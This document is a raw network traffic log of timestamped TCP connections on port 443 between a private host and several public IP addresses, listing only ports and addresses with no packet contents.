Dec 12, 2024 16:47:08.162269115 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.162363052 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.162507057 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.162522078 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.163156986 CET	443	49794	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:08.163331985 CET	49794	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:08.164477110 CET	49794	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:08.164544106 CET	443	49794	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:08.164760113 CET	49794	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:08.211338043 CET	443	49794	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:08.280512094 CET	49784	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.316553116 CET	443	49763	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:08.316622019 CET	443	49763	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:08.316740036 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:08.316740036 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:08.317481995 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:08.317508936 CET	443	49763	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:08.331099987 CET	49790	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.331438065 CET	49794	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:08.331451893 CET	443	49794	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:08.351218939 CET	443	49781	3.160.188.68	192.168.2.8
Dec 12, 2024 16:47:08.351347923 CET	443	49781	3.160.188.68	192.168.2.8
Dec 12, 2024 16:47:08.351416111 CET	49781	443	192.168.2.8	3.160.188.68
Dec 12, 2024 16:47:08.351416111 CET	49781	443	192.168.2.8	3.160.188.68
Dec 12, 2024 16:47:08.352530956 CET	443	49776	2.16.158.80	192.168.2.8
Dec 12, 2024 16:47:08.352623940 CET	49776	443	192.168.2.8	2.16.158.80
Dec 12, 2024 16:47:08.393210888 CET	443	49797	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:08.401190042 CET	49797	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:08.401217937 CET	443	49797	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:08.404803991 CET	443	49797	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:08.405066013 CET	49797	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:08.405422926 CET	49797	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:08.405581951 CET	49797	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:08.405606031 CET	443	49797	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:08.424482107 CET	443	49798	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.425029993 CET	49798	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.425046921 CET	443	49798	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.428625107 CET	443	49798	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.428694963 CET	49798	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.429186106 CET	49798	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.429349899 CET	49798	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.429375887 CET	443	49798	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.439346075 CET	49794	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:08.471709013 CET	49801	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:08.471743107 CET	443	49801	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:08.471837044 CET	49801	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:08.472076893 CET	49801	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:08.472098112 CET	443	49801	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:08.473591089 CET	443	49799	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.473952055 CET	49799	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.473961115 CET	443	49799	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.475347042 CET	443	49799	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.475442886 CET	49799	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.476057053 CET	49799	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.476079941 CET	49799	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.476136923 CET	443	49799	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.476460934 CET	443	49796	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:08.476691961 CET	49796	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:08.477391958 CET	49796	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:08.477399111 CET	443	49796	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:08.483400106 CET	49796	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:08.483407021 CET	443	49796	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:08.483686924 CET	49796	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:08.483705997 CET	443	49796	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:08.483789921 CET	49796	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:08.483795881 CET	443	49796	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:08.483870029 CET	49796	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:08.483885050 CET	443	49796	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:08.484021902 CET	49796	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:08.484035015 CET	443	49796	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:08.484143972 CET	49796	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:08.484167099 CET	443	49796	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:08.484174013 CET	49796	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:08.484195948 CET	443	49796	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:08.502597094 CET	49802	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.502629995 CET	443	49802	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.502873898 CET	49802	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.503189087 CET	49802	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.503199100 CET	443	49802	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.592768908 CET	443	49790	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.592843056 CET	443	49790	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.592896938 CET	49790	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.593250990 CET	49790	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.593260050 CET	443	49790	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.593487024 CET	443	49784	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.593545914 CET	443	49784	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.593609095 CET	49784	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.594067097 CET	49784	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.594086885 CET	443	49784	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.596556902 CET	443	49794	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:08.596621037 CET	443	49794	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:08.596673965 CET	49794	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:08.596787930 CET	49794	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:08.596796036 CET	443	49794	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:08.611351967 CET	443	49797	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:08.611506939 CET	49797	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:08.635371923 CET	443	49798	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.635469913 CET	49798	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.657478094 CET	49798	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.657705069 CET	443	49798	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.657769918 CET	49798	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.672868013 CET	49799	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.672883987 CET	443	49799	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.782233953 CET	49799	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.827749014 CET	443	49797	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:08.827933073 CET	443	49797	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:08.828015089 CET	49797	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:08.828258038 CET	49797	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:08.828304052 CET	443	49797	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:08.909995079 CET	443	49799	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.910070896 CET	443	49799	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.910183907 CET	49799	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.910468102 CET	49799	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.910490990 CET	443	49799	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:09.039489985 CET	49803	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.039529085 CET	443	49803	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:09.039616108 CET	49803	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.039658070 CET	49804	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.039697886 CET	443	49804	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:09.039796114 CET	49804	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.040204048 CET	49803	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.040220022 CET	443	49803	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:09.040394068 CET	49804	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.040405989 CET	443	49804	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:09.113326073 CET	49805	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.113357067 CET	443	49805	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:09.113467932 CET	49805	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.113730907 CET	49806	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.113765955 CET	443	49806	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:09.113847017 CET	49806	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.114228964 CET	49805	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.114243984 CET	443	49805	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:09.114588022 CET	49806	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.114603043 CET	443	49806	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:09.152462959 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:09.152515888 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:09.152599096 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:09.152896881 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:09.152908087 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:09.688836098 CET	443	49801	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:09.689917088 CET	49801	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:09.689927101 CET	443	49801	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:09.690824986 CET	443	49801	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:09.691200972 CET	49801	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:09.691370964 CET	443	49801	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:09.691471100 CET	49801	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:09.739326954 CET	443	49801	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:09.781769037 CET	49801	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:09.980987072 CET	443	49802	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:09.981225014 CET	49802	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.981235981 CET	443	49802	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:09.981575966 CET	443	49802	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:09.981983900 CET	49802	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.982044935 CET	443	49802	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:09.982144117 CET	49802	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.995121956 CET	443	49796	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:09.995203018 CET	443	49796	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:09.995209932 CET	49796	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:09.995270014 CET	49796	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:09.996958971 CET	49796	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:09.996979952 CET	443	49796	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.027328968 CET	443	49802	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.125854969 CET	443	49801	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:10.125952959 CET	443	49801	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:10.126620054 CET	49801	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:10.127746105 CET	49801	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:10.127769947 CET	443	49801	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:10.262052059 CET	443	49803	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.262475014 CET	49803	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.262490034 CET	443	49803	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.262856007 CET	443	49803	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.263871908 CET	49803	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.263962030 CET	443	49803	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.266195059 CET	443	49804	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.266675949 CET	49804	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.266685963 CET	443	49804	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.267940998 CET	443	49804	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.268353939 CET	49804	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.268549919 CET	443	49804	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.315879107 CET	49803	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.315922022 CET	49804	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.329879999 CET	443	49805	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.330881119 CET	49805	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.330902100 CET	443	49805	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.331629038 CET	443	49806	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.331861019 CET	49806	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.331871986 CET	443	49806	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.331981897 CET	443	49805	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.332043886 CET	49805	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.332204103 CET	443	49806	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.333512068 CET	49806	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.333580971 CET	443	49806	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.333863974 CET	49805	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.333939075 CET	443	49805	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.389355898 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.389404058 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.389539003 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.389765978 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.389781952 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.418486118 CET	443	49802	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.418565035 CET	443	49802	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.418649912 CET	49802	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.419151068 CET	49802	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.419162989 CET	443	49802	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.439275026 CET	49806	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.439275980 CET	49805	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.439294100 CET	443	49805	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.556123972 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.556181908 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.556746006 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.556755066 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.559510946 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.559515953 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.559587002 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.559597969 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.559603930 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.559614897 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.559659004 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.559672117 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.559688091 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.559695959 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.559724092 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.559731007 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.559750080 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.559755087 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.559776068 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.559791088 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.559823990 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.559834003 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.559859037 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.559859037 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.559870958 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.559871912 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.559880018 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.560046911 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.560055971 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.560081959 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.560091019 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.560209990 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.560218096 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.560250044 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.560261965 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.560271978 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.560276985 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.560295105 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.560302019 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.560417891 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.560431004 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.560456038 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.560470104 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.560483932 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.560491085 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.560533047 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.560539961 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.560545921 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:10.560549021 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:10.581875086 CET	49805	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:11.793656111 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.793719053 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.794353008 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.794362068 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.795988083 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.795999050 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.796200037 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.796216011 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.796305895 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.796324015 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.796468019 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.796490908 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.796534061 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.796540022 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.833230019 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.833251953 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.833914042 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.833928108 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.833955050 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.833967924 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.833987951 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.834006071 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.834005117 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.834017038 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.834023952 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.834033012 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.834414005 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.834429026 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.834482908 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.834491014 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.834511995 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.834523916 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.834531069 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.834536076 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.834558010 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.834564924 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.834589958 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.834604025 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.834636927 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.834645987 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.834670067 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.834678888 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.834702015 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.834717989 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.834964991 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.834978104 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.835105896 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.835114956 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.835141897 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.835150003 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.835164070 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.835175991 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.835196972 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.835208893 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:11.835289001 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:11.835294008 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:12.552109003 CET	49816	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:12.552150965 CET	443	49816	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:12.552259922 CET	49816	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:12.552412987 CET	49817	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:12.552453041 CET	443	49817	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:12.552510977 CET	49817	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:12.552612066 CET	49816	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:12.552623034 CET	443	49816	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:12.552731037 CET	49817	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:12.552753925 CET	443	49817	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:12.602082014 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:12.602147102 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:12.602158070 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:12.602207899 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:12.603166103 CET	49807	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:12.603184938 CET	443	49807	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:12.861139059 CET	49818	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:12.861179113 CET	443	49818	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:12.861249924 CET	49818	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:12.861506939 CET	49818	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:12.861515999 CET	443	49818	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.410393000 CET	49819	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:13.410442114 CET	443	49819	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:13.410510063 CET	49819	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:13.410758018 CET	49819	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:13.410769939 CET	443	49819	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:13.464534044 CET	443	49741	23.206.229.226	192.168.2.8
